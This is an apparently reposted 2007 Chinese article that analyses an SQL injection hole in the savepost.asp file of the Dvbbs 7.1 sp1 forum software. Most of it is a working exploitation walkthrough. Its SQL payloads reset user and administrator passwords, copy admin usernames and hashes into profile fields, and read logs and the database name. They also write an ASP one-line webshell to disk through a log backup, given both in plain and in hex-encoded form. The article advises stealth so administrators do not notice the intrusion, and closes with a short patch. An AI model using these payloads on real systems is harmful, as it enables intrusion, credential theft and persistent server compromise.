Dvbbs7.1 sp1 SQL版savepost.asp注入漏洞分析、利用及防范
更新時(shí)間:2007年02月09日 00:00:00 作者:
一、概述
漏洞介紹:
前幾天就聽Hak_Ban說有人把dvbbs7的一個(gè)注入漏洞給發(fā)布出去了,一直也沒時(shí)間看看,下午跟Edward要了個(gè)鏈接看了看:
本站轉(zhuǎn)貼為:
看了看風(fēng)塵浪子的分析,覺得已經(jīng)分析的挺明白的了,不過群里還是有幾個(gè)朋友搞不太明白,索性在本地搭環(huán)境測(cè)試一下漏洞,感謝keng提供程序,呵呵,實(shí)在懶得去網(wǎng)上找。
二、漏洞分析
既然是savepost.asp程序的問題,那就打開改文件,風(fēng)塵浪子已經(jīng)提到是ToolsBuyUser參數(shù)過濾不足,那就看這個(gè)變量。
32行,定義變量:
111行,置空
120行,在參數(shù)GetPostType為0時(shí),賦值
123行,在參數(shù)GetPostType為1時(shí),賦值
139行,在參數(shù)GetPostType為2時(shí),賦值
747行,定義sql
745行,執(zhí)行sql
我們看到,在整個(gè)獲得數(shù)據(jù)到提交的過程中,沒有對(duì)ToolsBuyUser參數(shù)進(jìn)行安全過濾,導(dǎo)致了sql注入漏洞。
三、漏洞利用
1、注冊(cè)用戶coolersky
2、選擇發(fā)表新話題
3、在“選擇帖子類型”中選中“論壇交易帖設(shè)置”

4、在“可購買用戶名單限制:”中寫入
修改口令后,重新登陸論壇,若使用123456登陸成功,則說明該漏洞尚未修補(bǔ)。
5、獲得前臺(tái)管理員用戶名和口令,分別放在自定義頭像和簽名中,查看用戶coolersky的基本資料即可看到。
6、獲得后臺(tái)管理員用戶名和口令
7、通過日志查看后臺(tái)管理密碼
8、獲得數(shù)據(jù)庫名稱
9、日志差異備份webshell
或者
使用最小asp木馬客戶端連接即可!
10、直接修改管理員口令
通過5、6、7三個(gè)步驟可以獲得管理員前后臺(tái)的用戶名和密碼,至少密碼是16位md5,我們可以通過網(wǎng)絡(luò)查詢或者暴力破解獲得管理員口令來登錄前后臺(tái),但是也很可能沒辦法破解出口令。
而如果也無法獲得論壇的物理路徑,那么只好通過修改管理員口令來實(shí)現(xiàn)了,當(dāng)然能不改管理員口令還是盡量避免修改,否則馬上就被管理員知道被入侵了。
(1)獲得前臺(tái)管理員用戶名:
(2)修改前臺(tái)管理員口令:
(3)獲得后臺(tái)管理員用戶名:
(4)修改后臺(tái)管理員口令:
(5)登錄前臺(tái)上傳mdb構(gòu)造過的asp一句話后門,后臺(tái)back為asp或asa文件即可,如何操作不在本文描述過程中。
通過以上操作,只要服務(wù)器支持多語句,那么我們還可以對(duì)數(shù)據(jù)庫進(jìn)行更多操作。
四、漏洞修補(bǔ)
1、從dvbbs下載最新補(bǔ)丁
2、打開savepost.asp文件,將747行
修改為:
即用dvbbs.checkstr函數(shù)過濾ToolsBuyUser內(nèi)容。
漏洞介紹:
http://coolersky.com/leak/programme/bbs/2006/0515/515.html |
http://www.eviloctal.com/forum/read.php?tid=22074 |
http://coolersky.com/articles/hack/analysis/programme/2006/0515/238.html |
二、漏洞分析
既然是savepost.asp程序的問題,那就打開改文件,風(fēng)塵浪子已經(jīng)提到是ToolsBuyUser參數(shù)過濾不足,那就看這個(gè)變量。
32行,定義變量:
Private GetPostType,ToMoney,UseTools,ToolsBuyUser,GetMoneyType,Tools_UseTools,Tools_LastPostTime,ToolsInfo,ToolsSetting |
ToolsBuyUser = "" |
ToolsBuyUser = "0|||$SendMoney" |
ToolsBuyUser = "0|||$GetMoney" |
ToolsBuyUser = "0@@@"&Buy_Orders&"@@@"&Buy_VIPType&"@@@"&Buy_UserList&"|||$PayMoney|||" |
SQL="insert into "&TotalUseTable&"(Boardid,ParentID,username,topic,body,DateAndTime,length,RootID,layer,orders,ip,Expression,locktopic,signflag,emailflag,isbest,PostUserID,isupload,IsAudit,Ubblist,GetMoney,UseTools,PostBuyUser,GetMoneyType) values ("&Dvbbs.boardid&","&ParentID&",'"&username&"','"&topic&"','"&Content&"','"&DateTimeStr&"','"&Dvbbs.strlength(Content)&"',"&RootID&","&ilayer&","&iorders&",'"&Dvbbs.UserTrueIP&"','"&Expression(1)&"',"&locktopic&","&signflag&","&mailflag&",0,"&Dvbbs.userid&","&ihaveupfile&","&IsAudit&",'"&UbblistBody&"',"&ToMoney&",'"&UseTools&"','"&ToolsBuyUser&"',"&GetMoneyType&")" |
Dvbbs.Execute(sql) |
三、漏洞利用
1、注冊(cè)用戶coolersky
2、選擇發(fā)表新話題
3、在“選擇帖子類型”中選中“論壇交易帖設(shè)置”

4、在“可購買用戶名單限制:”中寫入
'將自身用戶口令修改為123456 coolersky',0);update dv_user set userpassword='49ba59abbe56e057' where username='coolersky';-- |
5、獲得前臺(tái)管理員用戶名和口令,分別放在自定義頭像和簽名中,查看用戶coolersky的基本資料即可看到。
coolersky',0);update dv_user set userface=(select top 1 username from dv_user where userclass='管理員'),usersign=(select top 1 userpassword from dv_user where userclass='管理員') where username='coolersky';-- |
coolersky',0);update dv_user set userface=(select top 1 username from dv_admin),usersign=(select top 1 password from dv_admin) where username='coolersky';-- |
coolersky',0);update dv_user set usersign=(select l_content from dv_log where l_content like '%password2%') where username='coolersky';-- |
coolersky',0);update dv_user set userface=(select db_name())where username='coolersky';-- |
'替換dbname為上一步獲得的數(shù)據(jù)庫名稱,日志差異備份要db_owner權(quán)限! '替換d:\web\dvbbs7\為當(dāng)前論壇物理路徑,怎么獲得別來問我! coolersky',0);alter database dbname set RECOVERY FULL;create table temptt (a image);backup log dbname to disk = 'c:\acool_back' with init;insert into temptt (a) values ('<%execute request("l")%>');backup log dbname to disk = 'd:\web\dvbbs7\temptt.asp';drop table temptt;alter database dbname set RECOVERY SIMPLE;-- |
coolersky',0);alter database dbname set RECOVERY FULL;create table temptt (a image);backup log dbname to disk = 'c:\acool_back' with init;insert into temptt (a) values (0x273C2565786563757465207265717565737428226C2229253E27);backup log dbname to disk = ''d:\web\dvbbs7\temptt.asp';drop table temptt;alter database dbname set RECOVERY SIMPLE;-- |
10、直接修改管理員口令
通過5、6、7三個(gè)步驟可以獲得管理員前后臺(tái)的用戶名和密碼,至少密碼是16位md5,我們可以通過網(wǎng)絡(luò)查詢或者暴力破解獲得管理員口令來登錄前后臺(tái),但是也很可能沒辦法破解出口令。
而如果也無法獲得論壇的物理路徑,那么只好通過修改管理員口令來實(shí)現(xiàn)了,當(dāng)然能不改管理員口令還是盡量避免修改,否則馬上就被管理員知道被入侵了。
(1)獲得前臺(tái)管理員用戶名:
coolersky',0);update dv_user set userface=(select top 1 username from dv_user where userclass='管理員')where username='test';-- |
'假設(shè)我們獲得前臺(tái)管理員用戶名為admin,修改密碼為123456 coolersky',0);update dv_user set userpassword='49ba59abbe56e057' where username='admin';-- |
coolersky',0);update dv_user set userface=(select top 1 username from dv_admin)where username='test';-- |
'假設(shè)我們獲得后臺(tái)管理員用戶名為admin,修改密碼為123456 coolersky',0);update dv_admin set password='49ba59abbe56e057' where username='admin';-- |
通過以上操作,只要服務(wù)器支持多語句,那么我們還可以對(duì)數(shù)據(jù)庫進(jìn)行更多操作。
四、漏洞修補(bǔ)
1、從dvbbs下載最新補(bǔ)丁
http://bbs.dvbbs.net/dispbbs.asp?boardID=8&ID=1187367&page=1 |
SQL="insert into "&TotalUseTable&"(Boardid,ParentID,username,topic,body,DateAndTime,length,RootID,layer,orders,ip,Expression,locktopic,signflag,emailflag,isbest,PostUserID,isupload,IsAudit,Ubblist,GetMoney,UseTools,PostBuyUser,GetMoneyType) values ("&Dvbbs.boardid&","&ParentID&",'"&username&"','"&topic&"','"&Content&"','"&DateTimeStr&"','"&Dvbbs.strlength(Content)&"',"&RootID&","&ilayer&","&iorders&",'"&Dvbbs.UserTrueIP&"','"&Expression(1)&"',"&locktopic&","&signflag&","&mailflag&",0,"&Dvbbs.userid&","&ihaveupfile&","&IsAudit&",'"&UbblistBody&"',"&ToMoney&",'"&UseTools&"','"&ToolsBuyUser&"',"&GetMoneyType&")" |
SQL="insert into "&TotalUseTable&"(Boardid,ParentID,username,topic,body,DateAndTime,length,RootID,layer,orders,ip,Expression,locktopic,signflag,emailflag,isbest,PostUserID,isupload,IsAudit,Ubblist,GetMoney,UseTools,PostBuyUser,GetMoneyType) values ("&Dvbbs.boardid&","&ParentID&",'"&username&"','"&topic&"','"&Content&"','"&DateTimeStr&"','"&Dvbbs.strlength(Content)&"',"&RootID&","&ilayer&","&iorders&",'"&Dvbbs.UserTrueIP&"','"&Expression(1)&"',"&locktopic&","&signflag&","&mailflag&",0,"&Dvbbs.userid&","&ihaveupfile&","&IsAudit&",'"&UbblistBody&"',"&ToMoney&",'"&UseTools&"','"&dvbbs.checkstr(ToolsBuyUser)&"',"&GetMoneyType&")" |
相關(guān)文章
焦點(diǎn)技術(shù):Google你真好(Google Hack)
焦點(diǎn)技術(shù):Google你真好(Google Hack)...2007-01-01Serv-U本地權(quán)限提升的ASP版實(shí)現(xiàn)
Serv-U本地提權(quán)的問題很古老了,不清楚的朋友谷歌一下先,我就不羅嗦啦。呵呵,最主要的是相繼出現(xiàn)了php、perl、aspx版本的提權(quán)腳本,一時(shí)間刀光劍影滿天飛,惟獨(dú)缺了ASP版的。主要是由于郁悶的ASP不能像其他腳本那樣訪問Socket2008-05-05利用Session欺騙構(gòu)造最隱蔽的WebShell
利用Session欺騙構(gòu)造最隱蔽的WebShell...2007-01-01淺談SQL SERVER數(shù)據(jù)庫口令的脆弱性
淺談SQL SERVER數(shù)據(jù)庫口令的脆弱性...2007-01-01